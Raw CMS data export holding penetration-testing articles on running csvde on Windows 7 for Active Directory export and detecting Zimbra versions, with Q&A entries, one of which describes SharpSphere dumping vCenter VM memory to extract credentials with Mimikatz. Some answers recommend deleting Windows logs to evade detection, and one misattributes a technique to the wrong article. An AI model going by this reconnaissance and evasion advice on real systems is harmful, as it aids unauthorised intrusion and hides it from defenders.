being downloaded.","what-is-the-difference-between-downloading-a-file-in-text-versus-binary-format-u-1777485540015","InitiateFileTransferFromGuest, file download, text format, binary format","2026-07-23T16:02:57.206Z",{"id":195,"question":196,"answer":197,"answerHtml":197,"slug":198,"keywords":199,"article":70,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":200,"createdAt":200,"_status":61},21,"What technique does the SharpSphere tool use to dump credentials from a vCenter virtual machine?","SharpSphere obtains a virtual machine snapshot (or creates one if needed) to acquire the `.vmem` memory file. It then downloads the snapshot via a file URI and parses the memory dump using WinDbg and Mimikatz to extract credentials from the `lsass` process. Note that SharpSphere currently does not support Linux virtual machines.","what-technique-does-the-sharpsphere-tool-use-to-dump-credentials-from-a-vcenter--1777485539941","SharpSphere, memory dump, snapshot, Mimikatz, lsass","2026-07-23T16:02:56.820Z",{"id":202,"question":203,"answer":204,"answerHtml":204,"slug":205,"keywords":206,"article":70,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":207,"createdAt":207,"_status":61},20,"How do you upload a file to a virtual machine using the vSphere Web Services API and pyvmomi?","You call the `InitiateFileTransferToGuest` method with parameters including the VM object, guest credentials, destination path, file attributes, file size, and an overwrite flag. The method returns a URI that you access via a PUT request with the file content in binary format to complete the upload. This is demonstrated in the open-source code [vSphereWebServicesAPI_Manage.py](\u002Fnews\u002Fvsphere-development-guide-2-vsphere-web-services-api).","how-do-you-upload-a-file-to-a-virtual-machine-using-the-vsphere-web-services-api-1777485539802","InitiateFileTransferToGuest, file upload, pyvmomi, PUT request","2026-07-23T16:02:55.954Z",{"id":209,"question":210,"answer":211,"answerHtml":211,"slug":212,"keywords":213,"article":70,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":214,"createdAt":214,"_status":61},19,"Why would you choose the vSphere Web Services API over the vSphere Automation API for interacting with vCenter Server?","The [vSphere Web Services API](\u002Fnews\u002Fvsphere-development-guide-2-vsphere-web-services-api) offers greater universality because it supports older versions of vCenter (before vSphere 7.0U2) where the Automation API may not be fully supported. It also provides more comprehensive data, such as the ability to retrieve the UUID of each virtual machine, which the Automation SDK does not expose.","why-would-you-choose-the-vsphere-web-services-api-over-the-vsphere-automation-ap-1777485539738","vSphere Web Services API, vSphere Automation API, universality, virtual machine UUID","2026-07-23T16:02:55.658Z",{"title":26,"description":26,"image":26},"2026-07-24T02:07:30.894Z","2026-07-23T16:00:53.891Z",{"id":77,"title":219,"slug":220,"description":221,"content":222,"contentHtml":229,"contentMarkdown":26,"cover":230,"author":43,"views":14,"readingTime":97,"status":45,"publishedAt":173,"seo":245,"tags":248,"qaPairs":249,"meta":286,"updatedAt":287,"createdAt":288,"_status":61},"Penetration Basics - Running csvde on Windows 7","penetration-basics-running-csvde-on-windows-7","Learn how to run csvde on Windows 7 for Active Directory data export in penetration testing. Includes dependency migration and bypass methods.",{"root":223},{"type":12,"format":13,"indent":14,"version":15,"children":224,"direction":24},[225],{"type":18,"format":13,"indent":14,"version":15,"children":226,"direction":24},[227],{"mode":21,"text":228,"type":23,"style":13,"detail":14,"format":14,"version":15},"\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>In the previous article 'Penetration Basics - Obtaining Active Directory Information 2: Bypass AV', the method of using csvde to obtain Active Directory information was introduced. Its advantages include being built into Windows Server systems and exporting data in CSV format for easy viewing. However, this command is not supported by default on Windows 7 systems.\u003C\u002Fp>\u003Cp>This article will introduce methods to run csvde on Windows 7, expanding its applicability.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Background Knowledge\u003C\u002Fli>\u003Cli>Porting Approach\u003C\u002Fli>\u003Cli>Implementation Methods\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Background Knowledge\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Reference Materials:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fprevious-versions\u002Forphan-topics\u002Fws.10\u002Fcc772704(v=ws.10)?redirectedfrom=MSDN\u003C\u002Fp>\u003Cp>https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fprevious-versions\u002Fwindows\u002Fit-pro\u002Fwindows-server-2012-r2-and-2012\u002Fcc732101(v=ws.11)\u003C\u002Fp>\u003Ch3>1. Dependencies of csvde\u003C\u002Fh3>\u003Cp>The following structure needs to be clarified:\u003C\u002Fp>\u003Cul>\u003Cli>Windows Server 2003, supports csvde by default\u003C\u002Fli>\u003Cli>Windows Server 2008 and later versions, require enabling the Active Directory Domain Services (AD DS) or Active Directory Lightweight Directory Services (AD LDS) server role\u003C\u002Fli>\u003Cli>Windows XP Professional, requires installation of Active Directory Application Mode (ADAM)\u003C\u002Fli>\u003Cli>Windows 7 and later versions, require installation of Remote Server Administration Tools (RSAT)\u003C\u002Fli>\u003C\u002Ful>\u003Ch3>2. Installing Remote Server Administration Tools (RSAT)\u003C\u002Fh3>\u003Cp>Remote Server Administration Tools for Windows 7: Microsoft no longer provides downloads\u003C\u002Fp>\u003Cp>Remote Server Administration Tools for Windows 8 download link: https:\u002F\u002Fwww.microsoft.com\u002Fen-us\u002Fdownload\u002Fdetails.aspx?id=28972\u003C\u002Fp>\u003Cp>Remote Server Administration Tools for Windows 10 download link: https:\u002F\u002Fwww.microsoft.com\u002Fen-us\u002Fdownload\u002Fdetails.aspx?id=45520\u003C\u002Fp>\u003Ch3>3. Installing Remote Server Administration Tools (RSAT) on Win7\u003C\u002Fh3>\u003Ch4>(1) Download and install KB958830\u003C\u002Fh4>\u003Cp>Microsoft no longer provides manual downloads; you can choose to install Win7 automatic update patches\u003C\u002Fp>\u003Ch4>(2) Install the feature\u003C\u002Fh4>\u003Cp>Open Control Panel, select Turn Windows features on or off\u003C\u002Fp>\u003Cp>In the Windows Features interface, you can find Remote Server Administration Tools, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019794862_0_c0490f6118.jpeg\">\u003C\u002Fp>\u003Cp>To support csvde, you need to install AD DS Snap-ins and Command-line Tools, with the path as follows:\u003C\u002Fp>\u003Cp>Remote Server Administration Tools -&gt; Role Administration Tools -&gt; AD DS and AD LDS Tools -&gt; AD DS Tools -&gt; AD DS Snap-ins and Command-line Tools, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019801960_1_db57680e7e.jpeg\">\u003C\u002Fp>\u003Cp>After successful installation, the current Win7 system supports the csvde command\u003C\u002Fp>\u003Ch2>0x03 Migration Approach\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>The default installation path for csvde is c:\\windows\\system32. You can use Process Monitor to monitor the startup process of csvde and locate the dependency files required by csvde, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019816547_2_288dfa3510.jpeg\">\u003C\u002Fp>\u003Cp>From the figure, it can be seen that csvde requires the dependency file C:\\Windows\\System32\\en-US\\csvde.exe.mui during startup\u003C\u002Fp>\u003Cp>After a period of testing, the following migration approach was ultimately determined:\u003C\u002Fp>\u003Cul>\u003Cli>Copy the file C:\\Windows\\System32\\csvde.exe\u003C\u002Fli>\u003Cli>Copy the file C:\\Windows\\System32\\en-US\\csvde.exe.mui\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x04 Implementation Method\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>We know that creating files under C:\\Windows\\System32\\ requires administrator privileges. To enable transplantation under standard user permissions, the relative path method can be adopted here:\u003C\u002Fp>\u003Cul>\u003Cli>Copy csvde.exe to any path accessible with standard user permissions\u003C\u002Fli>\u003Cli>Create folder en-US in the same directory, copy csvde.exe.mui\u003C\u002Fli>\u003C\u002Ful>\u003Cp>For testing convenience, I have uploaded the csvde from my test system to GitHub at the following address:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Ch2>0x05 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces the method to run csvde under Win7, improving applicability. The same method can be applied to implement operation under Win8 and Win10 respectively.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>In the previous article 'Penetration Basics - Obtaining Active Directory Information 2: Bypass AV', the method of using csvde to obtain Active Directory information was introduced. Its advantages include being built into Windows Server systems and exporting data in CSV format for easy viewing. However, this command is not supported by default on Windows 7 systems.\u003C\u002Fp>\u003Cp>This article will introduce methods to run csvde on Windows 7, expanding its applicability.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Background Knowledge\u003C\u002Fli>\u003Cli>Porting Approach\u003C\u002Fli>\u003Cli>Implementation Methods\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Background Knowledge\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Reference Materials:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fprevious-versions\u002Forphan-topics\u002Fws.10\u002Fcc772704(v=ws.10)?redirectedfrom=MSDN\u003C\u002Fp>\u003Cp>https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fprevious-versions\u002Fwindows\u002Fit-pro\u002Fwindows-server-2012-r2-and-2012\u002Fcc732101(v=ws.11)\u003C\u002Fp>\u003Ch3>1. Dependencies of csvde\u003C\u002Fh3>\u003Cp>The following structure needs to be clarified:\u003C\u002Fp>\u003Cul>\u003Cli>Windows Server 2003, supports csvde by default\u003C\u002Fli>\u003Cli>Windows Server 2008 and later versions, require enabling the Active Directory Domain Services (AD DS) or Active Directory Lightweight Directory Services (AD LDS) server role\u003C\u002Fli>\u003Cli>Windows XP Professional, requires installation of Active Directory Application Mode (ADAM)\u003C\u002Fli>\u003Cli>Windows 7 and later versions, require installation of Remote Server Administration Tools (RSAT)\u003C\u002Fli>\u003C\u002Ful>\u003Ch3>2. Installing Remote Server Administration Tools (RSAT)\u003C\u002Fh3>\u003Cp>Remote Server Administration Tools for Windows 7: Microsoft no longer provides downloads\u003C\u002Fp>\u003Cp>Remote Server Administration Tools for Windows 8 download link: https:\u002F\u002Fwww.microsoft.com\u002Fen-us\u002Fdownload\u002Fdetails.aspx?id=28972\u003C\u002Fp>\u003Cp>Remote Server Administration Tools for Windows 10 download link: https:\u002F\u002Fwww.microsoft.com\u002Fen-us\u002Fdownload\u002Fdetails.aspx?id=45520\u003C\u002Fp>\u003Ch3>3. Installing Remote Server Administration Tools (RSAT) on Win7\u003C\u002Fh3>\u003Ch4>(1) Download and install KB958830\u003C\u002Fh4>\u003Cp>Microsoft no longer provides manual downloads; you can choose to install Win7 automatic update patches\u003C\u002Fp>\u003Ch4>(2) Install the feature\u003C\u002Fh4>\u003Cp>Open Control Panel, select Turn Windows features on or off\u003C\u002Fp>\u003Cp>In the Windows Features interface, you can find Remote Server Administration Tools, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019794862_0_c0490f6118-1.jpeg\">\u003C\u002Fp>\u003Cp>To support csvde, you need to install AD DS Snap-ins and Command-line Tools, with the path as follows:\u003C\u002Fp>\u003Cp>Remote Server Administration Tools -&gt; Role Administration Tools -&gt; AD DS and AD LDS Tools -&gt; AD DS Tools -&gt; AD DS Snap-ins and Command-line Tools, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019801960_1_db57680e7e-1.jpeg\">\u003C\u002Fp>\u003Cp>After successful installation, the current Win7 system supports the csvde command\u003C\u002Fp>\u003Ch2>0x03 Migration Approach\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>The default installation path for csvde is c:\\windows\\system32. You can use Process Monitor to monitor the startup process of csvde and locate the dependency files required by csvde, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019816547_2_288dfa3510-1.jpeg\">\u003C\u002Fp>\u003Cp>From the figure, it can be seen that csvde requires the dependency file C:\\Windows\\System32\\en-US\\csvde.exe.mui during startup\u003C\u002Fp>\u003Cp>After a period of testing, the following migration approach was ultimately determined:\u003C\u002Fp>\u003Cul>\u003Cli>Copy the file C:\\Windows\\System32\\csvde.exe\u003C\u002Fli>\u003Cli>Copy the file C:\\Windows\\System32\\en-US\\csvde.exe.mui\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x04 Implementation Method\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>We know that creating files under C:\\Windows\\System32\\ requires administrator privileges. To enable transplantation under standard user permissions, the relative path method can be adopted here:\u003C\u002Fp>\u003Cul>\u003Cli>Copy csvde.exe to any path accessible with standard user permissions\u003C\u002Fli>\u003Cli>Create folder en-US in the same directory, copy csvde.exe.mui\u003C\u002Fli>\u003C\u002Ful>\u003Cp>For testing convenience, I have uploaded the csvde from my test system to GitHub at the following address:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Ch2>0x05 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces the method to run csvde under Win7, improving applicability. The same method can be applied to implement operation under Win8 and Win10 respectively.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>",{"id":231,"alt":232,"caption":233,"updatedAt":234,"createdAt":234,"url":235,"thumbnailURL":26,"filename":236,"mimeType":237,"filesize":238,"width":239,"height":240,"focalX":38,"focalY":38,"sizes":241},1775,"docx image 1770019794862 0 c0490f6118","legacy:\u002Fuploads\u002Fdocx_image_1770019794862_0_c0490f6118.jpeg","2026-07-24T15:37:08.556Z","\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019794862_0_c0490f6118-1.jpeg","docx_image_1770019794862_0_c0490f6118-1.jpeg","image\u002Fjpeg",36497,425,361,{"thumbnail":242,"card":243,"og":244},{"url":26,"width":26,"height":26,"mimeType":26,"filesize":26,"filename":26},{"url":26,"width":26,"height":26,"mimeType":26,"filesize":26,"filename":26},{"url":26,"width":26,"height":26,"mimeType":26,"filesize":26,"filename":26},{"title":246,"description":221,"keywords":247,"ogImage":26,"canonicalUrl":26,"noIndex":50},"Run csvde on Windows 7: Penetration Testing Active Directory Export","csvde Windows 7, Active Directory export, penetration testing, AD DS tools, RSAT migration, bypass AV, AD information gathering",[],{"docs":250,"hasNextPage":50},[251,258,265,272,279],{"id":252,"question":253,"answer":254,"answerHtml":254,"slug":255,"keywords":256,"article":77,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":257,"createdAt":257,"_status":61},18,"Can I combine csvde with other information gathering techniques for more comprehensive Active Directory reconnaissance?","Yes, csvde is often used as part of a broader AD enumeration strategy. For example, after exporting user objects with csvde, you can analyze the data or combine it with email export methods from [Penetration Basics - Searching and Exporting Emails from Exchange Servers](\u002Fnews\u002Fpenetration-basics-searching-and-exporting-emails-from-exchange-servers). Additionally, to evade detection while using these tools, consider implementing log deletion techniques from [Penetration Techniques - Deletion and Bypass of Windows Logs](\u002Fnews\u002Fpenetration-techniques-deletion-and-bypass-of-windows-logs).","can-i-combine-csvde-with-other-information-gathering-techniques-for-more-compreh-1777485516453","Active Directory reconnaissance, csvde, enumeration, evasion, information gathering","2026-07-23T16:02:55.381Z",{"id":259,"question":260,"answer":261,"answerHtml":261,"slug":262,"keywords":263,"article":77,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":264,"createdAt":264,"_status":61},17,"How can I run csvde on Windows 7 without requiring administrator privileges?","By using a relative path method: copy `csvde.exe` to any folder you can write to (e.g., your user's Temp directory), create an `en-US` subfolder in that same directory, and place `csvde.exe.mui` inside it. Then execute `csvde` from that folder. This avoids the need to write to `C:\\Windows\\System32`, which typically demands admin rights. This technique can also be applied on Windows 8 and 10, as mentioned in the article [Penetration Basics - Running csvde on Windows 7](\u002Fnews\u002Fpenetration-basics-running-csvde-on-windows-7).","how-can-i-run-csvde-on-windows-7-without-requiring-administrator-privileges-1777485516392","standard user, relative path, admin privileges, csvde execution, Windows 7","2026-07-23T16:02:55.133Z",{"id":266,"question":267,"answer":268,"answerHtml":268,"slug":269,"keywords":270,"article":77,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":271,"createdAt":271,"_status":61},16,"What is the migration approach to make csvde work on Windows 7 without installing RSAT?","The migration approach involves copying only the essential files: `csvde.exe` from `C:\\Windows\\System32` and the corresponding MUI file `csvde.exe.mui` from the `en-US` subfolder. These two files are sufficient to run csvde. This technique is especially useful when you cannot install RSAT or want to avoid leaving traces; you can also use relative paths to run under standard user privileges as described in [Penetration Techniques - Deletion and Bypass of Windows Logs](\u002Fnews\u002Fpenetration-techniques-deletion-and-bypass-of-windows-logs) to reduce forensic evidence.","what-is-the-migration-approach-to-make-csvde-work-on-windows-7-without-installin-1777485516310","csvde migration, file copying, csvde.exe.mui, penetration testing, standard user","2026-07-23T16:02:54.930Z",{"id":273,"question":274,"answer":275,"answerHtml":275,"slug":276,"keywords":277,"article":77,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":278,"createdAt":278,"_status":61},15,"What dependencies does csvde require on different Windows versions, and how do I enable it on Windows 7?","On Windows Server 2003 csvde works by default, but starting from Windows Server 2008 you need the AD DS or AD LDS server role. On Windows 7 and later, you must install Remote Server Administration Tools (RSAT). For Windows 7 specifically, you install KB958830 (or enable automatic updates), then go to Control Panel > Turn Windows features on or off and enable 'AD DS Snap-ins and Command-line Tools' under Remote Server Administration Tools. After installation, csvde becomes available.","what-dependencies-does-csvde-require-on-different-windows-versions-and-how-do-i--1777485516202","csvde dependencies, Remote Server Administration Tools, RSAT, Windows 7, AD DS","2026-07-23T16:02:54.658Z",{"id":280,"question":281,"answer":282,"answerHtml":282,"slug":283,"keywords":284,"article":77,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":285,"createdAt":285,"_status":61},14,"What is csvde and why would I want to run it on a Windows 7 system during penetration testing?","csvde is a built-in Windows Server command-line tool that exports Active Directory data in CSV format, making the output easy to view and process. While it's natively available on Windows Server, running it on a Windows 7 client can expand your information gathering capabilities during a penetration test, as shown in the article [Penetration Basics - Running csvde on Windows 7](\u002Fnews\u002Fpenetration-basics-running-csvde-on-windows-7). This technique pairs well with methods covered in [Penetration Basics - Active Directory Information Gathering 2: Bypass AV](\u002Fnews\u002Fpenetration-basics-active-directory-information-gathering-2-bypass-av) for stealthy AD reconnaissance.","what-is-csvde-and-why-would-i-want-to-run-it-on-a-windows-7-system-during-penetr-1777485516107","csvde, Active Directory, penetration testing, Windows 7, information gathering","2026-07-23T16:02:54.181Z",{"title":26,"description":26,"image":26},"2026-07-24T15:37:15.911Z","2026-07-23T16:00:53.759Z",{"id":63,"title":290,"slug":291,"description":292,"content":293,"contentHtml":299,"contentMarkdown":26,"cover":26,"author":43,"views":14,"readingTime":6,"status":45,"publishedAt":300,"seo":301,"tags":304,"qaPairs":305,"meta":336,"updatedAt":337,"createdAt":338,"_status":61},"Penetration Basics - Zimbra Version Detection","penetration-basics-zimbra-version-detection1","Learn multiple methods to detect Zimbra versions, including IMAP, SOAP API, and web management, with Python automation and open-source code.",{"root":294},{"type":12,"format":13,"indent":14,"version":15,"children":295,"direction":24},[296],{"type":18,"format":13,"indent":14,"version":15,"children":297,"direction":24},[298],{"mode":21,"text":299,"type":23,"style":13,"detail":14,"format":14,"version":15},"\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will introduce multiple methods for detecting Zimbra versions, implement automation through Python, document development details, and provide open-source code.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Implementation Approach\u003C\u002Fli>\u003Cli>Implementation Details\u003C\u002Fli>\u003Cli>Open-Source Code\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Implementation Approach\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>There are many methods to check the Zimbra version, each with its own advantages and disadvantages. The specific methods are as follows:\u003C\u002Fp>\u003Ch3>1. Via the Web Management Page\u003C\u002Fh3>\u003Cp>Access the 7071 management page through a browser, where the current Zimbra version is displayed on the main page.\u003C\u002Fp>\u003Cp>For example, my test environment displays as:\u003C\u002Fp>\u003Cp>Zimbra Version: 9.0.0_GA_4273.NETWORK\u003C\u002Fp>\u003Cp>The version obtained through this method is the accurate version\u003C\u002Fp>\u003Ch3>2. By executing the commands\u003C\u002Fh3>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>su zimbra\u003Cbr>\u002Fopt\u002Fzimbra\u002Fbin\u002Fzmcontrol -v\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>For example, my test environment displays as:\u003C\u002Fp>\u003Cp>Release 9.0.0.GA.3924.UBUNTU16.64 UBUNTU16_64 NETWORK edition, Patch 9.0.0_P24.1.\u003C\u002Fp>\u003Cp>For the output results, note the following issues:\u003C\u002Fp>\u003Cul>\u003Cli>Release 9.0.0.GA.3924 corresponds to the initial installation package version and does not change with patch updates\u003C\u002Fli>\u003Cli>Patch 9.0.0_P24.1 is the patch version, which changes when upgrading\u003C\u002Fli>\u003C\u002Ful>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>For Zimbra patch updates, refer to:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fwiki.zimbra.com\u002Fwiki\u002FZimbra_Releases\u002F9.0.0\u002Fpatch_installation\u003C\u002Fp>\u003Ch3>3. Via Zimbra SOAP API\u003C\u002Fh3>\u003Cp>Under default configuration, the zimbraSoapExposeVersion attribute is set to FALSE. Query command:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>zmprov gs `hostname` | grep ExposeVersion\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Return result:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>zimbraImapExposeVersionOnBanner: FALSE\u003Cbr>zimbraLmtpExposeVersionOnBanner: FALSE\u003Cbr>zimbraPop3ExposeVersionOnBanner: FALSE\u003Cbr>zimbraReverseProxyImapExposeVersionOnBanner: FALSE\u003Cbr>zimbraReverseProxyPop3ExposeVersionOnBanner: FALSE\u003Cbr>zimbraSoapExposeVersion: FALSE\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After setting the zimbraSoapExposeVersion attribute to TRUE, the version can be obtained via Zimbra SOAP API. Command to modify the attribute:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>su zimbra\u003Cbr>\u002Fopt\u002Fzimbra\u002Fbin\u002Fzmprov mcf zimbraSoapExposeVersion TRUE\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Example SOAP request format:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003Csoap:envelope xmlns:soap=\"http:\u002F\u002Fwww.w3.org\u002F2003\u002F05\u002Fsoap-envelope\">\u003Cbr>       \u003Csoap:header>\u003Cbr>           \u003Ccontext xmlns=\"urn:zimbra\">\u003Cbr>               \u003Cauthtoken>{token}\u003C\u002Fauthtoken>\u003Cbr>           \u003C\u002Fcontext>\u003Cbr>       \u003C\u002Fsoap:header>\u003Cbr>       \u003Csoap:body>\u003Cbr>         \u003Cgetversioninforequest xmlns=\"urn:zimbraAccount\"> \u003Cbr>         \u003C\u002Fgetversioninforequest>\u003Cbr>       \u003C\u002Fsoap:body>\u003Cbr>    \u003C\u002Fsoap:envelope>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Return result under default configuration:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003Csoap:envelope xmlns:soap=\"http:\u002F\u002Fwww.w3.org\u002F2003\u002F05\u002Fsoap-envelope\">\u003Csoap:header>\u003Ccontext xmlns=\"urn:zimbra\">\u003Cchange token=\"2\">\u003C\u002Fchange>\u003C\u002Fcontext>\u003C\u002Fsoap:header>\u003Csoap:body>\u003Csoap:fault>\u003Csoap:code>\u003Csoap:value>soap:Sender\u003C\u002Fsoap:value>\u003C\u002Fsoap:code>\u003Csoap:reason>\u003Csoap:text>permission denied: Version info is not available.\u003C\u002Fsoap:text>\u003C\u002Fsoap:reason>\u003Csoap:detail>\u003Cerror xmlns=\"urn:zimbra\">\u003Ccode>service.PERM_DENIED\u003C\u002Fcode>\u003Ctrace>qtp2008966511-673279:1675321733266:bb7c9a24ece078fe\u003C\u002Ftrace>\u003C\u002Ferror>\u003C\u002Fsoap:detail>\u003C\u002Fsoap:fault>\u003C\u002Fsoap:body>\u003C\u002Fsoap:envelope>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Return result after enabling zimbraSoapExposeVersion:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003Csoap:envelope xmlns:soap=\"http:\u002F\u002Fwww.w3.org\u002F2003\u002F05\u002Fsoap-envelope\">\u003Csoap:header>\u003Ccontext xmlns=\"urn:zimbra\">\u003Cchange token=\"2\">\u003C\u002Fchange>\u003C\u002Fcontext>\u003C\u002Fsoap:header>\u003Csoap:body>\u003Cgetversioninforesponse xmlns=\"urn:zimbraAccount\">\u003Cinfo release=\"20220506180442\" host=\"zre-ubuntu16-64.eng.zimbra.com\" builddate=\"20220506-1841\" version=\"9.0.0_GA_4273.NETWORK\">\u003C\u002Finfo>\u003C\u002Fgetversioninforesponse>\u003C\u002Fsoap:body>\u003C\u002Fsoap:envelope>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The version obtained through this method is the accurate version\u003C\u002Fp>\u003Ch3>4. Via IMAP protocol\u003C\u002Fh3>\u003Cp>Require Zimbra to open port 143\u003C\u002Fp>\u003Cp>Command execution example:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>nc 192.168.1.1 143\u003Cbr>A001 ID NIL\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Return result:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>* ID (\"NAME\" \"Zimbra\" \"VERSION\" \"9.0.0_GA_4273\" \"RELEASE\" \"20220506180442\")\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The version obtained through this method is the accurate version\u003C\u002Fp>\u003Ch3>5. Via IMAP over SSL protocol\u003C\u002Fh3>\u003Cp>Require Zimbra to open port 993\u003C\u002Fp>\u003Cp>Command execution example:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>openssl s_client -connect 192.168.1.1:993\u003Cbr>show id (\"a\" \"a\")\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Return result:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>* ID (\"NAME\" \"Zimbra\" \"VERSION\" \"9.0.0_GA_4273\" \"RELEASE\" \"20220506180442\")\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The version obtained through this method is the accurate version\u003C\u002Fp>\u003Ch3>6. Via specific URL\u003C\u002Fh3>\u003Cp>The specific URL contains installation information\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>This URL is not unique\u003C\u002Fp>\u003Cp>Example access location: https:\u002F\u002F192.168.1.1\u002Fjs\u002FzimbraMail\u002Fshare\u002Fmodel\u002FZmSettings.js\u003C\u002Fp>\u003Cp>Example return result:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\tthis.registerSetting(\"CLIENT_DATETIME\",\t\t\t\t\t{type:ZmSetting.T_CONFIG, defaultValue:\"20220324-0623\"});\u003Cbr>\tthis.registerSetting(\"CLIENT_RELEASE\",\t\t\t\t\t{type:ZmSetting.T_CONFIG, 